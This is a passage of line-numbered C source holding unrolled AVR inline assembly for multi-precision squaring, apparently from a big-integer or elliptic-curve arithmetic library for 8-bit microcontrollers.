20183 "add r23, r0 \n\t" \
20184 "adc r28, r1 \n\t" \
20185 "adc r29, r25 \n\t" \
20186 "mul r14, r5 \n\t" \
20187 "add r23, r0 \n\t" \
20188 "adc r28, r1 \n\t" \
20189 "adc r29, r25 \n\t" \
20190 "mul r15, r4 \n\t" \
20191 "add r23, r0 \n\t" \
20192 "adc r28, r1 \n\t" \
20193 "adc r29, r25 \n\t" \
20194 "mul r16, r3 \n\t" \
20195 "add r23, r0 \n\t" \
20196 "adc r28, r1 \n\t" \
20197 "adc r29, r25 \n\t" \
20198 "mul r17, r2 \n\t" \
20199 "add r23, r0 \n\t" \
20200 "adc r28, r1 \n\t" \
20201 "adc r29, r25 \n\t" \
20202 "mul r18, r21 \n\t" \
20203 "add r23, r0 \n\t" \
20204 "adc r28, r1 \n\t" \
20205 "adc r29, r25 \n\t" \
20206 "mul r19, r20 \n\t" \
20207 "add r23, r0 \n\t" \
20208 "adc r28, r1 \n\t" \
20209 "adc r29, r25 \n\t" \
20210 "ld r0, z \n\t" \
20211 "add r23, r0 \n\t" \
20212 "adc r28, r25 \n\t" \
20213 "adc r29, r25 \n\t" \
20214 "lsl r23 \n\t" \
20215 "rol r28 \n\t" \
20216 "rol r29 \n\t" \
20217 "add r23, r24 \n\t" \
20218 "adc r28, r22 \n\t" \
20219 "adc r29, r25 \n\t" \
20220 "st z+, r23 \n\t" \
20221 \
20222 "ld r10, x+ \n\t" \
20223 "ldi r22, 0 \n\t" \
20224 "mul r11, r9 \n\t" \
20225 "mov r23, r0 \n\t" \
20226 "mov r24, r1 \n\t" \
20227 "mul r12, r8 \n\t" \
20228 "add r23, r0 \n\t" \
20229 "adc r24, r1 \n\t" \
20230 "adc r22, r25 \n\t" \
20231 "mul r13, r7 \n\t" \
20232 "add r23, r0 \n\t" \
20233 "adc r24, r1 \n\t" \
20234 "adc r22, r25 \n\t" \
20235 "mul r14, r6 \n\t" \
20236 "add r23, r0 \n\t" \
20237 "adc r24, r1 \n\t" \
20238 "adc r22, r25 \n\t" \
20239 "mul r15, r5 \n\t" \
20240 "add r23, r0 \n\t" \
20241 "adc r24, r1 \n\t" \
20242 "adc r22, r25 \n\t" \
20243 "mul r16, r4 \n\t" \
20244 "add r23, r0 \n\t" \
20245 "adc r24, r1 \n\t" \
20246 "adc r22, r25 \n\t" \
20247 "mul r17, r3 \n\t" \
20248 "add r23, r0 \n\t" \
20249 "adc r24, r1 \n\t" \
20250 "adc r22, r25 \n\t" \
20251 "mul r18, r2 \n\t" \
20252 "add r23, r0 \n\t" \
20253 "adc r24, r1 \n\t" \
20254 "adc r22, r25 \n\t" \
20255 "mul r19, r21 \n\t" \
20256 "add r23, r0 \n\t" \
20257 "adc r24, r1 \n\t" \
20258 "adc r22, r25 \n\t" \
20259 "ld r0, z \n\t" \
20260 "add r23, r0 \n\t" \
20261 "adc r24, r25 \n\t" \
20262 "adc r22, r25 \n\t" \
20263 "lsl r23 \n\t" \
20264 "rol r24 \n\t" \
20265 "rol r22 \n\t" \
20266 "mul r20, r20 \n\t" \
20267 "add r23, r0 \n\t" \
20268 "adc r24, r1 \n\t" \
20269 "adc r22, r25 \n\t" \
20270 "add r23, r28 \n\t" \
20271 "adc r24, r29 \n\t" \
20272 "adc r22, r25 \n\t" \
20273 "st z+, r23 \n\t" \
20274 \
20275 "ldi r29, 0 \n\t" \
20276 "mul r11, r10 \n\t" \
20277 "mov r23, r0 \n\t" \
20278 "mov r28, r1 \n\t" \
20279 "mul r12, r9 \n\t" \
20280 "add r23, r0 \n\t" \
20281 "adc r28, r1 \n\t" \
20282 "adc r29, r25 \n\t" \
20283 "mul r13, r8 \n\t" \
20284 "add r23, r0 \n\t" \
20285 "adc r28, r1 \n\t" \
20286 "adc r29, r25 \n\t" \
20287 "mul r14, r7 \n\t" \
20288 "add r23, r0 \n\t" \
20289 "adc r28, r1 \n\t" \
20290 "adc r29, r25 \n\t" \
20291 "mul r15, r6 \n\t" \
20292 "add r23, r0 \n\t" \
20293 "adc r28, r1 \n\t" \
20294 "adc r29, r25 \n\t" \
20295 "mul r16, r5 \n\t" \
20296 "add r23, r0 \n\t" \
20297 "adc r28, r1 \n\t" \
20298 "adc r29, r25 \n\t" \
20299 "mul r17, r4 \n\t" \
20300 "add r23, r0 \n\t" \
20301 "adc r28, r1 \n\t" \
20302 "adc r29, r25 \n\t" \
20303 "mul r18, r3 \n\t" \
20304 "add r23, r0 \n\t" \
20305 "adc r28, r1 \n\t" \
20306 "adc r29, r25 \n\t" \
20307 "mul r19, r2 \n\t" \
20308 "add r23, r0 \n\t" \
20309 "adc r28, r1 \n\t" \
20310 "adc r29, r25 \n\t" \
20311 "mul r20, r21 \n\t" \
20312 "add r23, r0 \n\t" \
20313 "adc r28, r1 \n\t" \
20314 "adc r29, r25 \n\t" \
20315 "ld r0, z \n\t" \
20316 "add r23, r0 \n\t" \
20317 "adc r28, r25 \n\t" \
20318 "adc r29, r25 \n\t" \
20319 "lsl r23 \n\t" \
20320 "rol r28 \n\t" \
20321 "rol r29 \n\t" \
20322 "add r23, r24 \n\t" \
20323 "adc r28, r22 \n\t" \
20324 "adc r29, r25 \n\t" \
20325 "st z+, r23 \n\t" \
20326 \
20327 "ld r11, x+ \n\t" \
20328 "ldi r22, 0 \n\t" \
20329 "mul r12, r10 \n\t" \
20330 "mov r23, r0 \n\t" \
20331 "mov r24, r1 \n\t" \
20332 "mul r13, r9 \n\t" \
20333 "add r23, r0 \n\t" \
20334 "adc r24, r1 \n\t" \
20335 "adc r22, r25 \n\t" \
20336 "mul r14, r8 \n\t" \
20337 "add r23, r0 \n\t" \
20338 "adc r24, r1 \n\t" \
20339 "adc r22, r25 \n\t" \
20340 "mul r15, r7 \n\t" \
20341 "add r23, r0 \n\t" \
20342 "adc r24, r1 \n\t" \
20343 "adc r22, r25 \n\t" \
20344 "mul r16, r6 \n\t" \
20345 "add r23, r0 \n\t" \
20346 "adc r24, r1 \n\t" \
20347 "adc r22, r25 \n\t" \
20348 "mul r17, r5 \n\t" \
20349 "add r23, r0 \n\t" \
20350 "adc r24, r1 \n\t" \
20351 "adc r22, r25 \n\t" \
20352 "mul r18, r4 \n\t" \
20353 "add r23, r0 \n\t" \
20354 "adc r24, r1 \n\t" \
20355 "adc r22, r25 \n\t" \
20356 "mul r19, r3 \n\t" \
20357 "add r23, r0 \n\t" \
20358 "adc r24, r1 \n\t" \
20359 "adc r22, r25 \n\t" \
20360 "mul r20, r2 \n\t" \
20361 "add r23, r0 \n\t" \
20362 "adc r24, r1 \n\t" \
20363 "adc r22, r25 \n\t" \
20364 "ld r0, z \n\t" \
20365 "add r23, r0 \n\t" \
20366 "adc r24, r25 \n\t" \
20367 "adc r22, r25 \n\t" \
20368 "lsl r23 \n\t" \
20369 "rol r24 \n\t" \
20370 "rol r22 \n\t" \
20371 "mul r21, r21 \n\t" \
20372 "add r23, r0 \n\t" \
20373 "adc r24, r1 \n\t" \
20374 "adc r22, r25 \n\t" \
20375 "add r23, r28 \n\t" \
20376 "adc r24, r29 \n\t" \
20377 "adc r22, r25 \n\t" \
20378 "st z+, r23 \n\t" \
20379 \
20380 "ldi r29, 0 \n\t" \
20381 "mul r12, r11 \n\t" \
20382 "mov r23, r0 \n\t" \
20383 "mov r28, r1 \n\t" \
20384 "mul r13, r10 \n\t" \
20385 "add r23, r0 \n\t" \
20386 "adc r28, r1 \n\t" \
20387 "adc r29, r25 \n\t" \
20388 "mul r14, r9 \n\t" \
20389 "add r23, r0 \n\t" \
20390 "adc r28, r1 \n\t" \
20391 "adc r29, r25 \n\t" \
20392 "mul r15, r8 \n\t" \
20393 "add r23, r0 \n\t" \
20394 "adc r28, r1 \n\t" \
20395 "adc r29, r25 \n\t" \
20396 "mul r16, r7 \n\t" \
20397 "add r23, r0 \n\t" \
20398 "adc r28, r1 \n\t" \
20399 "adc r29, r25 \n\t" \
20400 "mul r17, r6 \n\t" \
20401 "add r23, r0 \n\t" \
20402 "adc r28, r1 \n\t" \
20403 "adc r29, r25 \n\t" \
20404 "mul r18, r5 \n\t" \
20405 "add r23, r0 \n\t" \
20406 "adc r28, r1 \n\t" \
20407 "adc r29, r25 \n\t" \
20408 "mul r19, r4 \n\t" \
20409 "add r23, r0 \n\t" \
20410 "adc r28, r1 \n\t" \
20411 "adc r29, r25 \n\t" \
20412 "mul r20, r3 \n\t" \
20413 "add r23, r0 \n\t" \
20414 "adc r28, r1 \n\t" \
20415 "adc r29, r25 \n\t" \
20416 "mul r21, r2 \n\t" \
20417 "add r23, r0 \n\t" \
20418 "adc r28, r1 \n\t" \
20419 "adc r29, r25 \n\t" \
20420 "ld r0, z \n\t" \
20421 "add r23, r0 \n\t" \
20422 "adc r28, r25 \n\t" \
20423 "adc r29, r25 \n\t" \
20424 "lsl r23 \n\t" \
20425 "rol r28 \n\t" \
20426 "rol r29 \n\t" \
20427 "add r23, r24 \n\t" \
20428 "adc r28, r22 \n\t" \
20429 "adc r29, r25 \n\t" \
20430 "st z+, r23 \n\t" \
20431 \
20432 "ld r12, x+ \n\t" \
20433 "ldi r22, 0 \n\t" \
20434 "mul r13, r11 \n\t" \
20435 "mov r23, r0 \n\t" \
20436 "mov r24, r1 \n\t" \
20437 "mul r14, r10 \n\t" \
20438 "add r23, r0 \n\t" \
20439 "adc r24, r1 \n\t" \
20440 "adc r22, r25 \n\t" \
20441 "mul r15, r9 \n\t" \
20442 "add r23, r0 \n\t" \
20443 "adc r24, r1 \n\t" \
20444 "adc r22, r25 \n\t" \
20445 "mul r16, r8 \n\t" \
20446 "add r23, r0 \n\t" \
20447 "adc r24, r1 \n\t" \
20448 "adc r22, r25 \n\t" \
20449 "mul r17, r7 \n\t" \
20450 "add r23, r0 \n\t" \
20451 "adc r24, r1 \n\t" \
20452 "adc r22, r25 \n\t" \
20453 "mul r18, r6 \n\t" \
20454 "add r23, r0 \n\t" \
20455 "adc r24, r1 \n\t" \
20456 "adc r22, r25 \n\t" \
20457 "mul r19, r5 \n\t" \
20458 "add r23, r0 \n\t" \
20459 "adc r24, r1 \n\t" \
20460 "adc r22, r25 \n\t" \
20461 "mul r20, r4 \n\t" \
20462 "add r23, r0 \n\t" \
20463 "adc r24, r1 \n\t" \
20464 "adc r22, r25 \n\t" \
20465 "mul r21, r3 \n\t" \
20466 "add r23, r0 \n\t" \
20467 "adc r24, r1 \n\t" \
20468 "adc r22, r25 \n\t" \
20469 "ld r0, z \n\t" \
20470 "add r23, r0 \n\t" \
20471 "adc r24, r25 \n\t" \
20472 "adc r22, r25 \n\t" \
20473 "lsl r23 \n\t" \
20474 "rol r24 \n\t" \
20475 "rol r22 \n\t" \
20476 "mul r2, r2 \n\t" \
20477 "add r23, r0 \n\t" \
20478 "adc r24, r1 \n\t" \
20479 "adc r22, r25 \n\t" \
20480 "add r23, r28 \n\t" \
20481 "adc r24, r29 \n\t" \
20482 "adc r22, r25 \n\t" \
20483 "st z+, r23 \n\t" \
20484 \
20485 "ldi r29, 0 \n\t" \
20486 "mul r13, r12 \n\t" \
20487 "mov r23, r0 \n\t" \
20488 "mov r28, r1 \n\t" \
20489 "mul r14, r11 \n\t" \
20490 "add r23, r0 \n\t" \
20491 "adc r28, r1 \n\t" \
20492 "adc r29, r25 \n\t" \
20493 "mul r15, r10 \n\t" \
20494 "add r23, r0 \n\t" \
20495 "adc r28, r1 \n\t" \
20496 "adc r29, r25 \n\t" \
20497 "mul r16, r9 \n\t" \
20498 "add r23, r0 \n\t" \
20499 "adc r28, r1 \n\t" \
20500 "adc r29, r25 \n\t" \
20501 "mul r17, r8 \n\t" \
20502 "add r23, r0 \n\t" \
20503 "adc r28, r1 \n\t" \
20504 "adc r29, r25 \n\t" \
20505 "mul r18, r7 \n\t" \
20506 "add r23, r0 \n\t" \
20507 "adc r28, r1 \n\t" \
20508 "adc r29, r25 \n\t" \
20509 "mul r19, r6 \n\t" \
20510 "add r23, r0 \n\t" \
20511 "adc r28, r1 \n\t" \
20512 "adc r29, r25 \n\t" \
20513 "mul r20, r5 \n\t" \
20514 "add r23, r0 \n\t" \
20515 "adc r28, r1 \n\t" \
20516 "adc r29, r25 \n\t" \
20517 "mul r21, r4 \n\t" \
20518 "add r23, r0 \n\t" \
20519 "adc r28, r1 \n\t" \
20520 "adc r29, r25 \n\t" \
20521 "mul r2, r3 \n\t" \
20522 "add r23, r0 \n\t" \
20523 "adc r28, r1 \n\t" \
20524 "adc r29, r25 \n\t" \
20525 "ld r0, z \n\t" \
20526 "add r23, r0 \n\t" \
20527 "adc r28, r25 \n\t" \
20528 "adc r29, r25 \n\t" \
20529 "lsl r23 \n\t" \
20530 "rol r28 \n\t" \
20531 "rol r29 \n\t" \
20532 "add r23, r24 \n\t" \
20533 "adc r28, r22 \n\t" \
20534 "adc r29, r25 \n\t" \
20535 "st z+, r23 \n\t" \
20536 \
20537 "ld r13, x+ \n\t" \
20538 "ldi r22, 0 \n\t" \
20539 "mul r14, r12 \n\t" \
20540 "mov r23, r0 \n\t" \
20541 "mov r24, r1 \n\t" \
20542 "mul r15, r11 \n\t" \
20543 "add r23, r0 \n\t" \
20544 "adc r24, r1 \n\t" \
20545 "adc r22, r25 \n\t" \
20546 "mul r16, r10 \n\t" \
20547 "add r23, r0 \n\t" \
20548 "adc r24, r1 \n\t" \
20549 "adc r22, r25 \n\t" \
20550 "mul r17, r9 \n\t" \
20551 "add r23, r0 \n\t" \
20552 "adc r24, r1 \n\t" \
20553 "adc r22, r25 \n\t" \
20554 "mul r18, r8 \n\t" \
20555 "add r23, r0 \n\t" \
20556 "adc r24, r1 \n\t" \
20557 "adc r22, r25 \n\t" \
20558 "mul r19, r7 \n\t" \
20559 "add r23, r0 \n\t" \
20560 "adc r24, r1 \n\t" \
20561 "adc r22, r25 \n\t" \
20562 "mul r20, r6 \n\t" \
20563 "add r23, r0 \n\t" \
20564 "adc r24, r1 \n\t" \
20565 "adc r22, r25 \n\t" \
20566 "mul r21, r5 \n\t" \
20567 "add r23, r0 \n\t" \
20568 "adc r24, r1 \n\t" \
20569 "adc r22, r25 \n\t" \
20570 "mul r2, r4 \n\t" \
20571 "add r23, r0 \n\t" \
20572 "adc r24, r1 \n\t" \
20573 "adc r22, r25 \n\t" \
20574 "ld r0, z \n\t" \
20575 "add r23, r0 \n\t" \
20576 "adc r24, r25 \n\t" \
20577 "adc r22, r25 \n\t" \
20578 "lsl r23 \n\t" \
20579 "rol r24 \n\t" \
20580 "rol r22 \n\t" \
20581 "mul r3, r3 \n\t" \
20582 "add r23, r0 \n\t" \
20583 "adc r24, r1 \n\t" \
20584 "adc r22, r25 \n\t" \
20585 "add r23, r28 \n\t" \
20586 "adc r24, r29 \n\t" \
20587 "adc r22, r25 \n\t" \
20588 "st z+, r23 \n\t" \
20589 \
20590 "ldi r29, 0 \n\t" \
20591 "mul r14, r13 \n\t" \
20592 "mov r23, r0 \n\t" \
20593 "mov r28, r1 \n\t" \
20594 "mul r15, r12 \n\t" \
20595 "add r23, r0 \n\t" \
20596 "adc r28, r1 \n\t" \
20597 "adc r29, r25 \n\t" \
20598 "mul r16, r11 \n\t" \
20599 "add r23, r0 \n\t" \
20600 "adc r28, r1 \n\t" \
20601 "adc r29, r25 \n\t" \
20602 "mul r17, r10 \n\t" \
20603 "add r23, r0 \n\t" \
20604 "adc r28, r1 \n\t" \
20605 "adc r29, r25 \n\t" \
20606 "mul r18, r9 \n\t" \
20607 "add r23, r0 \n\t" \
20608 "adc r28, r1 \n\t" \
20609 "adc r29, r25 \n\t" \
20610 "mul r19, r8 \n\t" \
20611 "add r23, r0 \n\t" \
20612 "adc r28, r1 \n\t" \
20613 "adc r29, r25 \n\t" \
20614 "mul r20, r7 \n\t" \
20615 "add r23, r0 \n\t" \
20616 "adc r28, r1 \n\t" \
20617 "adc r29, r25 \n\t" \
20618 "mul r21, r6 \n\t" \
20619 "add r23, r0 \n\t" \
20620 "adc r28, r1 \n\t" \
20621 "adc r29, r25 \n\t" \
20622 "mul r2, r5 \n\t" \
20623 "add r23, r0 \n\t" \
20624 "adc r28, r1 \n\t" \
20625 "adc r29, r25 \n\t" \
20626 "mul r3, r4 \n\t" \
20627 "add r23, r0 \n\t" \
20628 "adc r28, r1 \n\t" \
20629 "adc r29, r25 \n\t" \
20630 "ld r0, z \n\t" \
20631 "add r23, r0 \n\t" \
20632 "adc r28, r25 \n\t" \
20633 "adc r29, r25 \n\t" \
20634 "lsl r23 \n\t" \
20635 "rol r28 \n\t" \
20636 "rol r29 \n\t" \
20637 "add r23, r24 \n\t" \
20638 "adc r28, r22 \n\t" \
20639 "adc r29, r25 \n\t" \
20640 "st z+, r23 \n\t" \
20641 \
20642 "ldi r22, 0 \n\t" \
20643 "mul r15, r13 \n\t" \
20644 "mov r23, r0 \n\t" \
20645 "mov r24, r1 \n\t" \
20646 "mul r16, r12 \n\t" \
20647 "add r23, r0 \n\t" \
20648 "adc r24, r1 \n\t" \
20649 "adc r22, r25 \n\t" \
20650 "mul r17, r11 \n\t" \
20651 "add r23, r0 \n\t" \
20652 "adc r24, r1 \n\t" \
20653 "adc r22, r25 \n\t" \
20654 "mul r18, r10 \n\t" \
20655 "add r23, r0 \n\t" \
20656 "adc r24, r1 \n\t" \
20657 "adc r22, r25 \n\t" \
20658 "mul r19, r9 \n\t" \
20659 "add r23, r0 \n\t" \
20660 "adc r24, r1 \n\t" \
20661 "adc r22, r25 \n\t" \
20662 "mul r20, r8 \n\t" \
20663 "add r23, r0 \n\t" \
20664 "adc r24, r1 \n\t" \
20665 "adc r22, r25 \n\t" \
20666 "mul r21, r7 \n\t" \
20667 "add r23, r0 \n\t" \
20668 "adc r24, r1 \n\t" \
20669 "adc r22, r25 \n\t" \
20670 "mul r2, r6 \n\t" \
20671 "add r23, r0 \n\t" \
20672 "adc r24, r1 \n\t" \
20673 "adc r22, r25 \n\t" \
20674 "mul r3, r5 \n\t" \
20675 "add r23, r0 \n\t" \
20676 "adc r24, r1 \n\t" \
20677 "adc r22, r25 \n\t" \
20678 "lsl r23 \n\t" \
20679 "rol r24 \n\t" \
20680 "rol r22 \n\t" \
20681 "mul r4, r4 \n\t" \
20682 "add r23, r0 \n\t" \
20683 "adc r24, r1 \n\t" \
20684 "adc r22, r25 \n\t" \
20685 "add r23, r28 \n\t" \
20686 "adc r24, r29 \n\t" \
20687 "adc r22, r25 \n\t" \
20688 "st z+, r23 \n\t" \
20689 \
20690 "ldi r29, 0 \n\t" \
20691 "mul r16, r13 \n\t" \
20692 "mov r23, r0 \n\t" \
20693 "mov r28, r1 \n\t" \
20694 "mul r17, r12 \n\t" \
20695 "add r23, r0 \n\t" \
20696 "adc r28, r1 \n\t" \
20697 "adc r29, r25 \n\t" \
20698 "mul r18, r11 \n\t" \
20699 "add r23, r0 \n\t" \
20700 "adc r28, r1 \n\t" \
20701 "adc r29, r25 \n\t" \
20702 "mul r19, r10 \n\t" \
20703 "add r23, r0 \n\t" \
20704 "adc r28, r1 \n\t" \
20705 "adc r29, r25 \n\t" \
20706 "mul r20, r9 \n\t" \
20707 "add r23, r0 \n\t" \
20708 "adc r28, r1 \n\t" \
20709 "adc r29, r25 \n\t" \
20710 "mul r21, r8 \n\t" \
20711 "add r23, r0 \n\t" \
20712 "adc r28, r1 \n\t" \
20713 "adc r29, r25 \n\t" \
20714 "mul r2, r7 \n\t" \
20715 "add r23, r0 \n\t" \
20716 "adc r28, r1 \n\t" \
20717 "adc r29, r25 \n\t" \
20718 "mul r3, r6 \n\t" \
20719 "add r23, r0 \n\t" \
20720 "adc r28, r1 \n\t" \
20721 "adc r29, r25 \n\t" \
20722 "mul r4, r5 \n\t" \
20723 "add r23, r0 \n\t" \
20724 "adc r28, r1 \n\t" \
20725 "adc r29, r25 \n\t" \
20726 "lsl r23 \n\t" \
20727 "rol r28 \n\t" \
20728 "rol r29 \n\t" \
20729 "add r23, r24 \n\t" \
20730 "adc r28, r22 \n\t" \
20731 "adc r29, r25 \n\t" \
20732 "st z+, r23 \n\t" \
20733 \
20734 "ldi r22, 0 \n\t" \
20735 "mul r17, r13 \n\t" \
20736 "mov r23, r0 \n\t" \
20737 "mov r24, r1 \n\t" \
20738 "mul r18, r12 \n\t" \
20739 "add r23, r0 \n\t" \
20740 "adc r24, r1 \n\t" \
20741 "adc r22, r25 \n\t" \
20742 "mul r19, r11 \n\t" \
20743 "add r23, r0 \n\t" \
20744 "adc r24, r1 \n\t" \
20745 "adc r22, r25 \n\t" \
20746 "mul r20, r10 \n\t" \
20747 "add r23, r0 \n\t" \
20748 "adc r24, r1 \n\t" \
20749 "adc r22, r25 \n\t" \
20750 "mul r21, r9 \n\t" \
20751 "add r23, r0 \n\t" \
20752 "adc r24, r1 \n\t" \
20753 "adc r22, r25 \n\t" \
20754 "mul r2, r8 \n\t" \
20755 "add r23, r0 \n\t" \
20756 "adc r24, r1 \n\t" \
20757 "adc r22, r25 \n\t" \
20758 "mul r3, r7 \n\t" \
20759 "add r23, r0 \n\t" \
20760 "adc r24, r1 \n\t" \
20761 "adc r22, r25 \n\t" \
20762 "mul r4, r6 \n\t" \
20763 "add r23, r0 \n\t" \
20764 "adc r24, r1 \n\t" \
20765 "adc r22, r25 \n\t" \
20766 "lsl r23 \n\t" \
20767 "rol r24 \n\t" \
20768 "rol r22 \n\t" \
20769 "mul r5, r5 \n\t" \
20770 "add r23, r0 \n\t" \
20771 "adc r24, r1 \n\t" \
20772 "adc r22, r25 \n\t" \
20773 "add r23, r28 \n\t" \
20774 "adc r24, r29 \n\t" \
20775 "adc r22, r25 \n\t" \
20776 "st z+, r23 \n\t" \
20777 \
20778 "ldi r29, 0 \n\t" \
20779 "mul r18, r13 \n\t" \
20780 "mov r23, r0 \n\t" \
20781 "mov r28, r1 \n\t" \
20782 "mul r19, r12 \n\t" \
20783 "add r23, r0 \n\t" \
20784 "adc r28, r1 \n\t" \
20785 "adc r29, r25 \n\t" \
20786 "mul r20, r11 \n\t" \
20787 "add r23, r0 \n\t" \
20788 "adc r28, r1 \n\t" \
20789 "adc r29, r25 \n\t" \
20790 "mul r21, r10 \n\t" \
20791 "add r23, r0 \n\t" \
20792 "adc r28, r1 \n\t" \
20793 "adc r29, r25 \n\t" \
20794 "mul r2, r9 \n\t" \
20795 "add r23, r0 \n\t" \
20796 "adc r28, r1 \n\t" \
20797 "adc r29, r25 \n\t" \
20798 "mul r3, r8 \n\t" \
20799 "add r23, r0 \n\t" \
20800 "adc r28, r1 \n\t" \
20801 "adc r29, r25 \n\t" \
20802 "mul r4, r7 \n\t" \
20803 "add r23, r0 \n\t" \
20804 "adc r28, r1 \n\t" \
20805 "adc r29, r25 \n\t" \
20806 "mul r5, r6 \n\t" \
20807 "add r23, r0 \n\t" \
20808 "adc r28, r1 \n\t" \
20809 "adc r29, r25 \n\t" \
20810 "lsl r23 \n\t" \
20811 "rol r28 \n\t" \
20812 "rol r29 \n\t" \
20813 "add r23, r24 \n\t" \
20814 "adc r28, r22 \n\t" \
20815 "adc r29, r25 \n\t" \
20816 "st z+, r23 \n\t" \
20817 \
20818 "ldi r22, 0 \n\t" \
20819 "mul r19, r13 \n\t" \
20820 "mov r23, r0 \n\t" \
20821 "mov r24, r1 \n\t" \
20822 "mul r20, r12 \n\t" \
20823 "add r23, r0 \n\t" \
20824 "adc r24, r1 \n\t" \
20825 "adc r22, r25 \n\t" \
20826 "mul r21, r11 \n\t" \
20827 "add r23, r0 \n\t" \
20828 "adc r24, r1 \n\t" \
20829 "adc r22, r25 \n\t" \
20830 "mul r2, r10 \n\t" \
20831 "add r23, r0 \n\t" \
20832 "adc r24, r1 \n\t" \
20833 "adc r22, r25 \n\t" \
20834 "mul r3, r9 \n\t" \
20835 "add r23, r0 \n\t" \
20836 "adc r24, r1 \n\t" \
20837 "adc r22, r25 \n\t" \
20838 "mul r4, r8 \n\t" \
20839 "add r23, r0 \n\t" \
20840 "adc r24, r1 \n\t" \
20841 "adc r22, r25 \n\t" \
20842 "mul r5, r7 \n\t" \
20843 "add r23, r0 \n\t" \
20844 "adc r24, r1 \n\t" \
20845 "adc r22, r25 \n\t" \
20846 "lsl r23 \n\t" \
20847 "rol r24 \n\t" \
20848 "rol r22 \n\t" \
20849 "mul r6, r6 \n\t" \
20850 "add r23, r0 \n\t" \
20851 "adc r24, r1 \n\t" \
20852 "adc r22, r25 \n\t" \
20853 "add r23, r28 \n\t" \
20854 "adc r24, r29 \n\t" \
20855 "adc r22, r25 \n\t" \
20856 "st z+, r23 \n\t" \
20857 \
20858 "ldi r29, 0 \n\t" \
20859 "mul r20, r13 \n\t" \
20860 "mov r23, r0 \n\t" \
20861 "mov r28, r1 \n\t" \
20862 "mul r21, r12 \n\t" \
20863 "add r23, r0 \n\t" \
20864 "adc r28, r1 \n\t" \
20865 "adc r29, r25 \n\t" \
20866 "mul r2, r11 \n\t" \
20867 "add r23, r0 \n\t" \
20868 "adc r28, r1 \n\t" \
20869 "adc r29, r25 \n\t" \
20870 "mul r3, r10 \n\t" \
20871 "add r23, r0 \n\t" \
20872 "adc r28, r1 \n\t" \
20873 "adc r29, r25 \n\t" \
20874 "mul r4, r9 \n\t" \
20875 "add r23, r0 \n\t" \
20876 "adc r28, r1 \n\t" \
20877 "adc r29, r25 \n\t" \
20878 "mul r5, r8 \n\t" \
20879 "add r23, r0 \n\t" \
20880 "adc r28, r1 \n\t" \
20881 "adc r29, r25 \n\t" \
20882 "mul r6, r7 \n\t" \
20883 "add r23, r0 \n\t" \
20884 "adc r28, r1 \n\t" \
20885 "adc r29, r25 \n\t" \
20886 "lsl r23 \n\t" \
20887 "rol r28 \n\t" \
20888 "rol r29 \n\t" \
20889 "add r23, r24 \n\t" \
20890 "adc r28, r22 \n\t" \
20891 "adc r29, r25 \n\t" \
20892 "st z+, r23 \n\t" \
20893 \
20894 "ldi r22, 0 \n\t" \
20895 "mul r21, r13 \n\t" \
20896 "mov r23, r0 \n\t" \
20897 "mov r24, r1 \n\t" \
20898 "mul r2, r12 \n\t" \
20899 "add r23, r0 \n\t" \
20900 "adc r24, r1 \n\t" \
20901 "adc r22, r25 \n\t" \
20902 "mul r3, r11 \n\t" \
20903 "add r23, r0 \n\t" \
20904 "adc r24, r1 \n\t" \
20905 "adc r22, r25 \n\t" \
20906 "mul r4, r10 \n\t" \
20907 "add r23, r0 \n\t" \
20908 "adc r24, r1 \n\t" \
20909 "adc r22, r25 \n\t" \
20910 "mul r5, r9 \n\t" \
20911 "add r23, r0 \n\t" \
20912 "adc r24, r1 \n\t" \
20913 "adc r22, r25 \n\t" \
20914 "mul r6, r8 \n\t" \
20915 "add r23, r0 \n\t" \
20916 "adc r24, r1 \n\t" \
20917 "adc r22, r25 \n\t" \
20918 "lsl r23 \n\t" \
20919 "rol r24 \n\t" \
20920 "rol r22 \n\t" \
20921 "mul r7, r7 \n\t" \
20922 "add r23, r0 \n\t" \
20923 "adc r24, r1 \n\t" \
20924 "adc r22, r25 \n\t" \
20925 "add r23, r28 \n\t" \
20926 "adc r24, r29 \n\t" \
20927 "adc r22, r25 \n\t" \
20928 "st z+, r23 \n\t" \
20929 \
20930 "ldi r29, 0 \n\t" \
20931 "mul r2, r13 \n\t" \
20932 "mov r23, r0 \n\t" \
20933 "mov r28, r1 \n\t" \
20934 "mul r3, r12 \n\t" \
20935 "add r23, r0 \n\t" \
20936 "adc r28, r1 \n\t" \
20937 "adc r29, r25 \n\t" \
20938 "mul r4, r11 \n\t" \
20939 "add r23, r0 \n\t" \
20940 "adc r28, r1 \n\t" \
20941 "adc r29, r25 \n\t" \
20942 "mul r5, r10 \n\t" \
20943 "add r23, r0 \n\t" \
20944 "adc r28, r1 \n\t" \
20945 "adc r29, r25 \n\t" \
20946 "mul r6, r9 \n\t" \
20947 "add r23, r0 \n\t" \
20948 "adc r28, r1 \n\t" \
20949 "adc r29, r25 \n\t" \
20950 "mul r7, r8 \n\t" \
20951 "add r23, r0 \n\t" \
20952 "adc r28, r1 \n\t" \
20953 "adc r29, r25 \n\t" \
20954 "lsl r23 \n\t" \
20955 "rol r28 \n\t" \
20956 "rol r29 \n\t" \
20957 "add r23, r24 \n\t" \
20958 "adc r28, r22 \n\t" \
20959 "adc r29, r25 \n\t" \
20960 "st z+, r23 \n\t" \
20961 \
20962 "ldi r22, 0 \n\t" \
20963 "mul r3, r13 \n\t" \
20964 "mov r23, r0 \n\t" \
20965 "mov r24, r1 \n\t" \
20966 "mul r4, r12 \n\t" \
20967 "add r23, r0 \n\t" \
20968 "adc r24, r1 \n\t" \
20969 "adc r22, r25 \n\t" \
20970 "mul r5, r11 \n\t" \
20971 "add r23, r0 \n\t" \
20972 "adc r24, r1 \n\t" \
20973 "adc r22, r25 \n\t" \
20974 "mul r6, r10 \n\t" \
20975 "add r23, r0 \n\t" \
20976 "adc r24, r1 \n\t" \
20977 "adc r22, r25 \n\t" \
20978 "mul r7, r9 \n\t" \
20979 "add r23, r0 \n\t" \
20980 "adc r24, r1 \n\t" \
20981 "adc r22, r25 \n\t" \
20982 "lsl r23 \n\t" \
20983 "rol r24 \n\t" \
20984 "rol r22 \n\t" \
20985 "mul r8, r8 \n\t" \
20986 "add r23, r0 \n\t" \
20987 "adc r24, r1 \n\t" \
20988 "adc r22, r25 \n\t" \
20989 "add r23, r28 \n\t" \
20990 "adc r24, r29 \n\t" \
20991 "adc r22, r25 \n\t" \
20992 "st z+, r23 \n\t" \
20993 \
20994 "ldi r29, 0 \n\t" \
20995 "mul r4, r13 \n\t" \
20996 "mov r23, r0 \n\t" \
20997 "mov r28, r1 \n\t" \
20998 "mul r5, r12 \n\t" \
20999 "add r23, r0 \n\t" \
21000 "adc r28, r1 \n\t" \
21001 "adc r29, r25 \n\t" \
21002 "mul r6, r11 \n\t" \
